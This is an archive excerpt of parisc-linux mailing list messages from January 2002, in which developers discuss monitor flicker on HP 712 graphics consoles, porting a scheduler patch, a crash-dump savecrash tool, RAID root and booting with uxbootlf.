List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13808

> BTW- I recently converted a couple 712s with serial console *back* to
> graphics console since the sti-fb stuff is working so well now.

This reminds me of the reason why I had to move to serial console, not
because of lack of
support but because the monitor I had at the time (brand new 19" sony)
didn't work with my
712. Or it does.. but the screen flickers sometimes with just a couple of
seconds appart, sometimes it can take a couple of minutes, but it just won't
stop. It does it with another cheap 15", but I now got a another monitor, a
17" Panasonic and the sti console work fine it, no blinking.
Does anyone know what could be the cause for the 19" sony not to function
correctly. It works fine with a PC, Mac and even an old Sun3.

--
Kaj-Michael Lang, milang@tal.org





From - Thu Nov 08 21:21:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sched-O1-2.4.17-I3.patch, need help
Date: Mon, 21 Jan 2002 08:14:11 +0100 (CET)
Lines: 74
Approved: news@gmane.org
Message-ID: <1011597251.3c4bbfc3ae334@webmail.tiscalinet.be>
References: <200201191531.g0JFV9201939@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620990 1377 80.91.229.3 (22 Nov 2014 01:49:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:50 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, joel.soete@freebel.net,
	parisc-linux@lists.parisc-linux.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 00:14:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39E3C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jan 2002 00:14:23 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16SYeh-0008RH-00; Mon, 21 Jan 2002 08:14:11 +0100
In-Reply-To: <200201191531.g0JFV9201939@localhost.localdomain>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13809

Hello James,

Thanks a lot for inforamtion.

Quoting James Bottomley <James.Bottomley@HansenPartnership.com>:

> > >         while (1) {
> > >                 void (*idle)(void) = pm_idle;
> > >                 if (!idle)
> > >                         idle = default_idle;
> > > -               while (!current->need_resched)
> > > +               if (!current->need_resched)
> > >                         idle();
> > >                 schedule();
> > >                 check_pgt_cache();
> >
> > Dunno.
> 
> This is sending the idle thread back through the scheduler at least once
> every 
> clock tick.  On the x86, idle() halts the processor until it receives an
> 
> interrupt.
> 
> I *think* the reason is the idle tick rebalances the run queue but
> doesn't 
> schedule the first task for execution (if there is one), so the call to
> 
> schedule() does that.
> 
> However, there are more changes than just this (I just did the changes
> for a 
> different arch).  You need to change p->processor to p->cpu in the SMP
> code.  
> There may be other struct task changes that bite, but that looks like
> the only 
> one in parisc.

I think that also p->nice would be changed in p->__nice?

> 
> You also get bitten (in I3) by the physical to logical CPU mapping
> problems.  
> These are gone in J0, but now you have to introduce and extra
> migrate_process 
> cross processor interrupt.

I also have a look in J2 and notice that task_struct was deepely changed and so
I  ignore what will I have to do with offset.c.

> 
> Probably the best way to work on this is to start a 2.5 parisc tree...
> 

I do also believe that the limits of my knowledge will yet oblige me to wait
this release.

Thanks anyway for help and precious advises,

Joel

> Good luck.
> 
> James Bottomley
> 
> 
> 
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:21:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Enrik Berkhan <Enrik.Berkhan@planb.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] any info on 710/Bushmaster Audio available?
Date: Mon, 21 Jan 2002 14:45:53 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20020121144553.F28562@electra.intern.planb.de>
References: <200201081230.FAA22547@udlkern.fc.hp.com> <20020108134436.GA24909@elvis.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620990 1379 80.91.229.3 (22 Nov 2014 01:49:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 06:45:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.planb.de (aldebaran.planb.de [212.227.14.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17FA3482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jan 2002 06:45:56 -0700 (MST)
Original-Received: from electra.intern.planb.de (andromeda.planb.de [212.227.19.14])
	by mail.planb.de with esmtp 
	id 16Sell-0007FC-00; Mon, 21 Jan 2002 14:45:53 +0100
Content-Disposition: inline
In-Reply-To: <20020108134436.GA24909@elvis.franken.de>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13810

On Tue, Jan 08, 2002 at 02:44:36PM +0100, Thomas Bogendoerfer wrote:
> I have a dead tree version of the datasheet here and compared
> it to the PSB2161. The internal registers are different. The PSB2160
> has less features, so some of the config bits of the PSB2161 aren't
> available and common bits are sometimes shifted around.
[...]
> (I'll write the register bits down and put it online during the next days).

Today I got a scanned version from Infineon Product Support, so I think
this is no longer necessary. I hope I will get it running during this
week.

Enrik
-- 
Enrik Berkhan                                         plan b. GmbH
                                                      Rppurrer Strae 4
+49-721-388582 (voice)                                76137 Karlsruhe
+49-721-388581 (fax)                                  Germany



From - Thu Nov 08 21:21:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti console (was: Booting to ISL with Linux installed)
Date: 21 Jan 2002 10:34:35 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <87zo37obf8.fsf@rover.gag.com>
References: <DLEJJFGDAJICFFBHFNCDGEBBCEAA.bjorn.bylander@telia.com>
	<20020121030235.C37E737D2B@carmen.fc.hp.com>
	<002a01c1a249$31f95260$4011e882@abo.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620990 1381 80.91.229.3 (22 Nov 2014 01:49:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 10:35:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id 792F9482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jan 2002 10:35:38 -0700 (MST)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 8EA3F3BCB8; Mon, 21 Jan 2002 10:34:35 -0700 (MST)
In-Reply-To: <002a01c1a249$31f95260$4011e882@abo.fi>
Original-Lines: 10
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13811

milang@tal.org (Kaj-Michael Lang) writes:

> Does anyone know what could be the cause for the 19" sony not to function
> correctly. It works fine with a PC, Mac and even an old Sun3.

Refresh rate set too high?  Try different monitor settings in the firmware.
I usually start with a resolution I think the monitor can take and 60hz and
work up from there if it's not satisfying.

Bdale



From - Thu Nov 08 21:21:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] vmlinux header for savecrash.
Date: Mon, 21 Jan 2002 18:45:27 +0100
Organization: H.P
Lines: 42
Approved: news@gmane.org
Message-ID: <3C4C53B7.67DA24E@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------59C76BC7D2A691F073AE94D9"
X-Trace: ger.gmane.org 1416620991 1385 80.91.229.3 (22 Nov 2014 01:49:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:51 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 10:48:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D7F1482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jan 2002 10:48:31 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id EDECFA3
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jan 2002 18:48:28 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id SAA28526 for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jan 2002 18:47:55 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13812

This is a multi-part message in MIME format.
--------------59C76BC7D2A691F073AE94D9
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
As I said few days ago, I've a dump driver ready.
Now I'm working on a savecrash command. It works fine
for the dump, but I need to save with the dump some
informations like the running kernel at dump time.
So in the dump I've got this informations:
utsname_release and utsname_version. Now, how can
I found the right kernel in /boot ? In other
word, how can I retrieve utsname informations in a
binary file (without system.map and gdb) ?

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------59C76BC7D2A691F073AE94D9
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------59C76BC7D2A691F073AE94D9--




From - Thu Nov 08 21:21:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmlinux header for savecrash.
Date: Mon, 21 Jan 2002 13:25:39 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <20020121202539.994A5482A@dsl2.external.hp.com>
References: <3C4C53B7.67DA24E@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620991 1387 80.91.229.3 (22 Nov 2014 01:49:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:51 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 13:25:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 994A5482A; Mon, 21 Jan 2002 13:25:39 -0700 (MST)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Mon, 21 Jan 2002 18:45:27 +0100." <3C4C53B7.67DA24E@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13813

Bruno Vidal wrote:
> As I said few days ago, I've a dump driver ready.
> Now I'm working on a savecrash command. It works fine
> for the dump, but I need to save with the dump some
> informations like the running kernel at dump time.

Bruno - this is great!


> So in the dump I've got this informations:
> utsname_release and utsname_version. Now, how can
> I found the right kernel in /boot ? In other
> word, how can I retrieve utsname informations in a
> binary file (without system.map and gdb) ?

A couple of ideas/hacks:
o assume it's /boot/System.map + /boot/vmlinux. Tell people if they
  want to use dump/savecrash, that's what they have to do.

o assume it's in /boot. Use fgrep to find the matching strings.
  Something like
	#!/bin/sh
	cd /boot
	for i in *
	do
		fgrep $1 $i > /dev/null 2>&1
		if [ $? -eq 0 ]
		then
			echo $i
			exit 0
		fi
	done
	exit 1

The case that /boot might not be mounted could cause problems.

Since klogd seems to want System.map, perhaps savecrash could use
the same heuristics to find the "right" System.map.
See Documentation/oops-tracing.txt for more details.

hth,
grant



From - Thu Nov 08 21:21:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] partitioned md to enable root on raid
Date: Mon, 21 Jan 2002 13:32:37 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20020121203237.74F8C482A@dsl2.external.hp.com>
References: <Pine.LNX.4.42.0201201438560.9287-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620991 1391 80.91.229.3 (22 Nov 2014 01:49:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Peter Mottram <peter@petescaff.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 13:32:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 74F8C482A; Mon, 21 Jan 2002 13:32:37 -0700 (MST)
In-Reply-To: Message from Peter Mottram <peter@petescaff.com> 
   of "Sun, 20 Jan 2002 14:48:34 +0100." <Pine.LNX.4.42.0201201438560.9287-100000@r6.petescaff.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13814

Peter Mottram wrote:
> In order to use md on root devices with parisc there must be kernel
> support for partitioned md (due to F0 partition).

Are you implying that CONFIG_MD can only use full disks?
linux/Documentation/Configure.help suggests CONFIG_MD only knows
about the partitions you configure it for.

I've never used CONFIG_MD (it's enabled) and don't understand
what F0 partition has to do with CONFIG_MD.

grant



From - Thu Nov 08 21:21:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting to ISL with Linux installed
Date: Mon, 21 Jan 2002 22:26:50 +0100
Organization: private
Lines: 45
Approved: news@gmane.org
Message-ID: <3C4C879A.D55F643D@gmx.at>
References: <DLEJJFGDAJICFFBHFNCDGEBBCEAA.bjorn.bylander@telia.com> <20020121030235.C37E737D2B@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620992 1394 80.91.229.3 (22 Nov 2014 01:49:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:52 +0000 (UTC)
Cc: =?iso-8859-1?Q?Bj=F6rn?= Bylander <bjorn.bylander@telia.com>,
	parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 14:27:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 60BDC482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jan 2002 14:27:02 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep13-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020121212651.OFBI8119.viefep13-int.chello.at@gmx.at>;
          Mon, 21 Jan 2002 22:26:51 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13815

Hello,

again the old question:

How is the switch to and from the console done exactly,
after I have booted the uxbootlf ?

How can I do a factory default setup, if there is going something wrong
?

With friendly regards
Christoph 


Matt Taggart wrote:
> 
> =?iso-8859-1?Q?Bj=F6rn_Bylander?= writes...
> 
> > If not, is there any way I can get the "uxbootlf" image without buying a =
> > license for the appropriate HPUX version?
> 
> There is a uxbootlf in cvs for this purpose. It's in the build-tools
> directory, or you can grab it via viewcvs at,
> 
> http://cvs.parisc-linux.org/~checkout~/build-tools/uxbootlf
> 
> BTW- I recently converted a couple 712s with serial console *back* to
> graphics console since the sti-fb stuff is working so well now.
> 
> --
> Matt Taggart        Linux Development Lab
> taggart@fc.hp.com   HP Linux Systems Operation
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:21:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti console (was: Booting to ISL with Linux 
 installed)
Date: Mon, 21 Jan 2002 22:40:50 +0100
Organization: private
Lines: 33
Approved: news@gmane.org
Message-ID: <3C4C8AE2.3172E931@gmx.at>
References: <DLEJJFGDAJICFFBHFNCDGEBBCEAA.bjorn.bylander@telia.com>
		<20020121030235.C37E737D2B@carmen.fc.hp.com>
		<002a01c1a249$31f95260$4011e882@abo.fi> <87zo37obf8.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620992 1396 80.91.229.3 (22 Nov 2014 01:49:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bdale Garbee <bdale@gag.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 21 14:40:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14DB3482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jan 2002 14:40:54 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020121214051.PTMH8446.viefep12-int.chello.at@gmx.at>;
          Mon, 21 Jan 2002 22:40:51 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13816

Perhpas the frequency is TOO LOW !!
There are some monitors, which will not support very slow modes
any more. Or check the SYNC routing via GREEN, C-SYNC or H/V-Sync.

Bye
Christoph P.


Bdale Garbee wrote:
> 
> milang@tal.org (Kaj-Michael Lang) writes:
> 
> > Does anyone know what could be the cause for the 19" sony not to function
> > correctly. It works fine with a PC, Mac and even an old Sun3.
> 
> Refresh rate set too high?  Try different monitor settings in the firmware.
> I usually start with a resolution I think the monitor can take and 60hz and
> work up from there if it's not satisfying.
> 
> Bdale
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:21:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt.VanDeWerken@csiro.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trouble installing 0.9.3 on 735/99
Date: Tue, 22 Jan 2002 07:58:22 +1000
